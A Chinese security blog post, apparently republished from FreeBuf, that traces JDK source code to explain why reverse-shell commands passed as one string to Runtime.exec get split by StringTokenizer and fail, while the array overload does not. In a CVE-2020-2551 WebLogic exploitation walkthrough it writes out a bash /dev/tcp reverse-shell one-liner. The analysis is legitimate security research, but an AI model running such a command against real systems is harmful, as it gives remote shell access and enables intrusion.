从JDK源码中探究Runtime#exec的限制

 前言 

遇到很多次在调用Runtime.getRuntime().exec方法进行弹shell的时候遇到的各种限制，都没好好的认识认识原理，这次主要是总一个总结和原理上的分析。

 环境搭建 

之后使用docker起一个具有反序列化的漏洞的Java服务(能够执行命令就行)。之后开启调试的功能，我这里直接就是用存在的weblogic的漏洞环境，直接通过发送T3协议数据包来触发反序列化漏洞。

 起因 

我这里使用的是CVE-2020-2551进行利用，我们首先进行curl命令执行看看是否可以执行命令。

接下来我们使用反弹shell的命令尝试

bash -i >& /dev/tcp/192.168.153.1/8080 0>&1

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按照正常的逻辑，应该会成功的啊？！但是，并没有，如图：






 细节 


我们跟进一下Runtime执行命令的源码。因为对于linux和windows版本的JDK有一点小区别，所以我这里在项目依赖的位置将windows版的rt.jar包替换成了linux版的rt.jar包。好了，言归正传，开始分析Runtime.getRuntime().exec执行命令的逻辑了。






在Runtime类中的exec方法存在有多个重载，大致可以分成传入的参数是一个字符串，或者是一个字符串数组进行命令执行。


字符串执行


我们首先来看看字符串作为参数的情况是怎么样的。






在这个方法中将会调用this.exec((String)var1, (String[])null, (File)null)方法继续进行调用。






在这个方法中，首先是传入的命令不能为空，不然会抛出异常，之后主要是创建了一个StringTokenizer对类对象，传入的构造方法参数是我们需要执行的命令字符串。


从该方法的注释中也能够看出端倪来。







使用通过调用 new StringTokenizer(command) 创建的 StringTokenizer 将命令字符串分解为标记，而无需进一步修改字符类别。分词器生成的分词然后以相同的顺序放置在新的字符串数组 cmdarray 中



所以我们可以跟进StringTokenizer类的构造方法中。







为指定的字符串构造一个字符串分词器。分词器使用默认的分隔符集，即“tnrf”：空格字符、制表符、换行符、回车符和换页符。



也就是使用这个类将命令字符串中根据tnrf等字符来进行分割成一块块的数组，主要的实现方法就是在exec方法中，首先调用StringTokenizer#countTokens来初始化cmdarray这个数组对象。







主要是利用skipDelimiters / scanToken这两个方法来进行切片操作的。








之后就是调用nextToken方法来为前面初始化的数组进行赋值操作。






在分割成了数组之后调用exec的重载方法public Process exec(String[] cmdarray, String[] envp, File dir)






终归还是回到了ProcessBuilder类对象的创建来，在Java中另一种执行命令的方式就是通过调用ProcessBuilder#start()方法来执行命令。这里进行了environment / 工作目录的初始化之后调用了start方法进行命令执行操作。






这里获取的是命令字符串的分割之后的第一块，这个就是该命令执行的环境，比如/bin/sh / /bin/bash这些。可以注意到在其后面有一个System.getSecurityManager方法的调用，这个就是通过调用checkExec方法来判断该次的命令调用是否合法，也是Java内置的一种安全管理。







之后就是调用ProcessImpl.start方法进行执行了，最后将会创建一个UNIXProcess类对象。







传入的第一个参数是/bin/bash这种运行环境，第二个参数就是后面紧跟的需要执行的命令，在这个类构造方法中，将会通过调用forkAndExec方法来创建了一个进程该方法返回了该进程的PID号。



 总结 


使用Runtime.getRuntime().exec()方法执行命令的时候，会将传入的字符串命令，根据tnrf等分隔符进行分割，之后在进行命令的执行。


数组执行


如果传入的参数是一个数组对象，来到的具体代码就是在public Process exec(String cmdarray[])方法的调用中。






直接就来到了exec的重载方法public Process exec(String[] cmdarray, String[] envp, File dir)




在这个方法中，直接就将该数组对象传入的ProcessBuilder的构造方法中，之后调用start方法进行执行。


使用exec的数组作为参数传入的重载方法，不同于使用字符串的重载方法进行命令执行，具体到代码中就是少了一步通过创建了一个StringTokenizer类对象来自动进行命令的分割，在某些情况下，将会造成命令不能执行的情况，数组方式是直接传入的自己已经分好块的命令数组进行命令执行，Java便不会自动将本应该在一起的命令分割开来造成错误。




















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原文始发于微信公众号（FreeBuf）：从JDK源码中探究Runtime#exec的限制